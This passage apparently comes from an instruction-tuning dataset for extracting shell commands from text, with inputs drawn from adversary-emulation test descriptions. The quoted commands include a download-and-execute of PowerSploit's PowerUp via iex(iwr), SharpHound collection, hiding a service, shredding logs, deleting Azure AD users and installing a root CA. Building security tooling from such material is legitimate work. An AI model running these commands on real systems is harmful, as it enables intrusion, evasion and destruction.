unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a COM CLSID object via PowerShell, use the following command:\n$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\"))\n$item = $o.Item()\n$item.Document.Application.ShellExecute(\"cmd.exe\",\"/c calc.exe\",\"C:\\\\windows\\\\system32\",$null,0)\n",
    "output": "{\"command_list\": [\"$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\\\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\\\"))\\n$item = $o.Item()\\n$item.Document.Application.ShellExecute(\\\"cmd.exe\\\",\\\"/c calc.exe\\\",\\\"C:\\\\windows\\\\system32\\\",$null,0)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To delete a user in Azure AD, which adversaries may use to disrupt system availability, run the following command sequence: az login\n$userprincipalname = \"#{userprincipalname}\"\naz ad user delete --id $userprincipalname",
    "output": "{\"command_list\": [\"az login\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\naz ad user delete --id $userprincipalname\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script identifies removable drives and searches for document files with targeted extensions, returning 'No removable media' if none are found, via this command: powershell.exe -c \"Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\\\\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }\"",
    "output": "{\"command_list\": [\"powershell.exe -c \\\"Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\\\\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To hide a service from detection tools like Get-Service, you can use sc.exe to create the service and modify its security descriptor with the following commands:\nsc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc sdset #{service_name} \"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"",
    "output": "{\"command_list\": [\"sc.exe create #{service_name} binPath= \\\"#{executable_command}\\\"\\nsc sdset #{service_name} \\\"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To securely erase the log file by overwriting it with zero bytes in three passes and then deleting it, use the following command: sudo shred -u -z -n 3 #{system_log_path}",
    "output": "{\"command_list\": [\"sudo shred -u -z -n 3 #{system_log_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To conceal a directory on MacOS, use the following commands: touch /var/tmp/T1564.001_mac.txt\nchflags hidden /var/tmp/T1564.001_mac.txt",
    "output": "{\"command_list\": [\"touch /var/tmp/T1564.001_mac.txt\\nchflags hidden /var/tmp/T1564.001_mac.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can establish a root CA by executing this PowerShell command: $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My\nMove-Item -Path $cert.PSPath -Destination \"Cert:\\LocalMachine\\Root\"",
    "output": "{\"command_list\": [\"$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\\\LocalMachine\\\\My\\nMove-Item -Path $cert.PSPath -Destination \\\"Cert:\\\\LocalMachine\\\\Root\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 